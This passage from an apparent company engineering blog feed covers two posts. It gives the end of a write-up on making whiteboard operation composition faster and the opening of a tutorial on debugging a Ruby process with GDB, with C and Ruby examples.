&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  } &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;else&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (op.type &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;create&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;    // find any later matching update ops&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; laterUpdates&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; refs.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(op.id);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    laterUpdates?.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;forEach&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;((&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;update&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;      // copy assignment to create op, and delete update&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      op.properties[update.property] &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; update.value;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;      deleteOp&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(update);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To ensure correctness, I was able to lean heavily on new and existing unit tests, which were straightforward to write as the code under test was written as a pure function. This made it really easy to test and verify various scenarios without mocking or complex test setup.&lt;/p&gt;
&lt;p&gt;Did this fix the problem? Yes and no! When I opened my whiteboard and repeated my test, performance had definitely improved, but not as much as I had hoped — so I dug into the code again. This time I was focused on how we were calling the function as it seemed too frequent in the performance profile. I suspected many of the calls could be combined into one to get much better mileage out of the improved algorithm.&lt;/p&gt;
&lt;h2&gt;Iterative improvement&lt;/h2&gt;
&lt;p&gt;Looking at the context, I identified two areas in our &lt;a href=&quot;https://www.aha.io/blog/text-editor&quot;&gt;collaboration and undo&lt;/a&gt; code where we called the compose function for every new operation. If we could instead defer these calls and only compose once for say, every 100 operations, we should see a big gain. But due to the complexity and critical nature of this area, I wanted to minimize the breadth of the change.&lt;/p&gt;
&lt;p&gt;To achieve this, I employed two strategies:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Buffering:&lt;/strong&gt; The simplest option was to collect operations in a buffer, and only combine them once it reached a threshold. This worked well in our collaboration code where operations were already collected in-memory and periodically sent to the server via a websocket message.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Just-in-time composition&lt;/strong&gt; Operations collected for undo can be read at any time, so waiting to reach a threshold wouldn&apos;t work. Instead, we collect them in a buffer and compose them only when they are read. This kept the undo code&apos;s external interface unchanged, which was crucial to minimizing the wider impact.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;With these two techniques in place, performance improved dramatically — getting the full benefits of the new, optimized O(n) algorithm. Now, it&apos;s possible to smoothly drag hundreds of shapes around the canvas without noticeable lag.&lt;/p&gt;
&lt;h2&gt;Unexpected consequences&lt;/h2&gt;
&lt;p&gt;With our whiteboard code now much more performant, I ran into an unexpected problem — dragging a large group of shapes caused the websocket connection to drop. It turned out that we had a 1mb limit on the size of websocket messages, which we&apos;d never reached. But the increased client-side performance made the browser suddenly capable of producing operations much faster than before. While we could have safely increased the server&apos;s limit, we chose to implement a corresponding client-side limit to keep websocket message size in check.&lt;/p&gt;
&lt;h2&gt;Takeaways&lt;/h2&gt;
&lt;p&gt;When optimizing performance, there&apos;s almost never a silver bullet. Even in this case where we quickly identified an inefficient algorithm, addressing it did not solve the issue completely — the biggest gains came from the comparatively mundane change to defer a function call. In these types of situations, the key is to stay curious, focus on the measurable impact of your work, and always take an iterative approach to improving your code.&lt;/p&gt;
&lt;p&gt;You might also be wondering why we didn&apos;t write more performant code in the first place. And that&apos;s a fair question! When the code was initially written, performance wasn&apos;t an issue — that only became a problem much later when people started creating more complex whiteboards. Time spent upfront on optimization could have been wasted if our product evolved in a different way, so deferring this work helped us to build a &lt;a href=&quot;https://www.aha.io/roadmapping/guide/plans/what-is-a-minimum-lovable-product&quot;&gt;Minimum Lovable Product sooner&lt;/a&gt;. That said, it&apos;s worthwhile to keep concepts like &lt;a href=&quot;https://en.wikipedia.org/wiki/Computational_complexity_theory&quot;&gt;computational complexity&lt;/a&gt; in mind, so long as it doesn&apos;t lead to increased code complexity and development time.&lt;/p&gt;
&lt;p&gt;Finally, it&apos;s worth noting that having well-written unit tests was critical to refactoring the original algorithm with confidence. Having the algorithm contained in a pure function with a simple interface made testing a breeze, because the tests only had to consider the inputs and outputs, with no changes needed when we refactored the implementation.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Debugging Ruby the hard way]]></title><description><![CDATA[Normally when you encounter a bug with Ruby, or any other interpreted language for that matter, using the language's provided debugging…]]></description><link>https://www.aha.io/engineering/articles/debugging-ruby-the-hard-way</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/debugging-ruby-the-hard-way</guid><pubDate>Thu, 14 Dec 2023 00:00:00 GMT</pubDate><content:encoded>&lt;style&gt;
  img {
    max-height: 400px;
    margin-left: auto;
    margin-right: auto;
  }
&lt;/style&gt;
&lt;p&gt;Normally when you encounter a bug with Ruby, or any other interpreted language for that matter, using the language&apos;s provided debugging tools is all you need to diagnose the problem and find a solution. Indeed that works 99% of the time. But what about when it doesn&apos;t? What about when your program is so hosed that the typical debugging tooling doesn&apos;t yield any fruitful information?&lt;/p&gt;
&lt;p&gt;This was the situation I found myself in recently while debugging a low-level bug with Ruby. I didn&apos;t know it when I started, but the problem lie down in glibc and all the Ruby-land debugging tools in the world would not help me. So what&apos;s one to do? Well, if you&apos;re running the C implementation of Ruby, MRI, then it&apos;s GDB to the rescue. However, figuring out how to access the data needed through GDB presents a host of new challenges. Armed with the proper knowledge though, it becomes entirely feasible to debug a Ruby program through GDB which is what this post aims to explore.&lt;/p&gt;
&lt;h2&gt;But why would you want to do this?&lt;/h2&gt;
&lt;p&gt;That&apos;s a good question. In all honesty and as far as I know, there are very few true use cases for doing this outside of development on Ruby itself, academic curiosity, and the poor souls facing a low-level bug that&apos;s seemingly impossible to debug otherwise.&lt;/p&gt;
&lt;p&gt;In my situation I was working with a Ruby process that would deadlock while exiting in a glibc function in rare cases. I did not have the ability to debug the Ruby process directly as it was completely unresponsive due to control being outside of Ruby when it deadlocked. The only option I had was to attach GDB to the running process in order to get visibility into the process. As I&apos;ll get into later, this provided enough information to put the pieces of the puzzle together and solve my issue at hand. Hopefully this is not what brought you here, but if so, knowing how to debug Ruby via GDB can be a powerful tool in your toolbelt for cracking difficult low-level bugs.&lt;/p&gt;
&lt;h2&gt;GDB Basics&lt;/h2&gt;
&lt;p&gt;As someone that primarily works with Ruby and other high level languages, prior to my aforementioned boggle it had been more than a handful of years since I needed to debug anything with GDB. You may be in a similar boat so let&apos;s start with covering enough of the basics to follow along with the rest of this post. If you&apos;re adept with GDB already you can likely skip to &lt;a href=&quot;#backtrace&quot;&gt;the next section.&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;GDB is, of course, a debugger, and an extremely powerful one at that. We need only know the absolute basics here though. Let&apos;s say we have the following C program:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &amp;#x3C;stdio.h&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; char*&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; GREETING &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;Hello, world!&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; print_greeting&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; char*&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt; greeting&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; main&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  print_greeting&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(GREETING);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;void&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; print_greeting&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; char*&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt; greeting&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  puts&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(greeting);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When compiling, ensure that &lt;code&gt;-ggdb&lt;/code&gt; is specified to create debugging symbols. It&apos;s still possible to debug a binary without these, but it is more difficult and requires referencing the source code more. Make your life easy and add them.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; gcc&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -ggdb&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; hello_gdb.c&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We can then debug the &lt;code&gt;print_greeting&lt;/code&gt; function with GDB by setting a breakpoint and executing the program as follows:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; gdb&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; a.out&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;Reading&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; symbols&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; from&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; a.out...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;break&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; print_greeting&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;Breakpoint&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; at&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0x115f:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; file&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; hello_gdb.c,&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; line&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 11.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;run&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;Starting&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; program:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; a.out&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;Breakpoint&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 1,&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; print_greeting&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (greeting=0x555555556004 &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Hello, world!&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) at hello_gdb.c:11&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;        puts&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;greeting&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Printing a backtrace is accomplished with &lt;code&gt;where&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;where&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;#0  print_greeting (greeting=0x555555556004 &quot;Hello, world!&quot;) at hello_gdb.c:11&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;#1  0x000055555555514c in main () at hello_gdb.c:7&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The other notable action is assigning variables and executing functions. For example, let&apos;s say we wanted to print out the value of a global variable or call another function through GDB:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; gdb&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; a.out&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;Reading&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; symbols&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; from&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; a.out...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;break&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; main&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;Breakpoint&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; at&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 0x113d:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; file&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; hello_gdb.c,&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; line&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 7.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;run&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;Starting&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; program:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; a.out&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;Breakpoint&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 1,&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; main&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; () at hello_gdb.c:7&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;7&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;         print_greeting&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;GREETING&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; GREETING&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;$1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; = 0x2004 &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Hello, world!&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# `p` also works for printing values&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; GREETING&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;$2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; = 0x2004 &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Hello, world!&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Manually call the `print_greeting` function&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; print_greeting&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;GREETING&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;Hello,&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; world!&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Call `print_greeting` with a different argument&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;call&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; print_greeting&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;&quot;Hello, GDB!&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;Hello,&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; GDB!&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The output above demonstrates how &lt;code&gt;call&lt;/code&gt; can be used to print the value of variables (or more accurately, memory locations such as the global variable &lt;code&gt;GREETING&lt;/code&gt;). It can also, ahem, call functions directly and we can pass whatever arguments we want to them such as a new string rather than the &lt;code&gt;GREETING&lt;/code&gt; string as defined in the source code of the program. Later on we&apos;ll use this functionality extensively to peer inside of a running Ruby process.&lt;/p&gt;
&lt;p&gt;That should about do it for a GDB crash course. Let&apos;s get into the meat of exploring Ruby through GDB now.&lt;/p&gt;
&lt;h2&gt;&lt;a name=&quot;backtrace&quot;&gt;&lt;/a&gt;Getting a Ruby Backtrace&lt;/h2&gt;
&lt;p&gt;First things first, how can we use GDB on a Ruby process to see what our program is doing? In other words, how do we get a Ruby backtrace out of GDB?&lt;/p&gt;
&lt;p&gt;To start, say we have the following simple Ruby program that sleeps for a while:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;#!/usr/bin/env ruby&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; foo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  puts&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;Sleeping...&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  sleep&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1000&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;foo&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using GDB it&apos;s trivial to get a native backtrace as such:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; gdb&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; --args&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; ruby&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; sleep.rb&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;gdb&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;run&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;Starting&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; program:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; ruby&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; sleep.rb&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
